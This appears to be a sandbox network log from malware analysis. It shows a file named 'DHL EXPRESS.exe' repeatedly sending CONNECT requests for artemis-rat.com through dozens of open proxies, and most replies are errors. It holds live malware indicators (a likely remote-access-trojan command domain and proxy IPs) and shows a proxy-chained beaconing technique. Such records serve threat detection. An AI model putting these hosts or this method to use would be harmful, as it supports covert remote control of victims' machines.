Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.8	52590	66.248.237.227	56740	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.770711899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.8	50321	109.75.34.152	59341	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.770824909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.8	52667	43.153.58.204	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.779586077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.8	52543	162.120.71.11	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.779746056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.019658089 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.8	52562	23.19.244.109	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.781162977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.8	52687	43.153.58.204	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.783365011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.8	52465	147.75.92.244	9401	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.790066957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.071568012 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.8	52595	45.61.188.134	44499	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.790472031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.8	52437	61.92.189.15	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.794480085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.106686115 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.8	52451	92.205.61.38	21286	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.800204039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.456486940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.456876993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.269292116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.957437038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.566157103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.269125938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.456471920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.956419945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.8	52426	192.162.232.15	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.800242901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.8	52433	194.247.173.17	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.803468943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.8	52538	72.210.252.137	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.804615021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.8	52422	45.11.95.165	5214	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.805874109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.8	51821	171.244.140.160	5189	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.812062025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.956454039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.8	52480	147.75.34.85	10007	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.814269066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.115700960 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.8	51810	91.134.140.160	27207	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.816850901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.8	52435	103.191.196.47	3127	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.820493937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.565804005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.246332884 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.8	52530	167.71.5.83	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.834969997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.703217030 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.8	52568	31.223.184.143	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.835171938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.211648941 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.8	50595	51.158.108.165	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.836582899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.909635067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.910060883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.909948111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.077299118 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.8	52474	185.49.30.5	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.838118076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.8	52399	106.105.218.244	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.846779108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.8	52540	221.153.92.39	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.847807884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.8	52496	47.242.15.120	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.848100901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.8	51999	161.97.173.42	50386	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.850744009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.909637928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.910038948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.909898996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.8	52570	18.169.83.87	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.852731943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.149257898 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:48 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.8	52545	45.195.149.79	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.854954004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

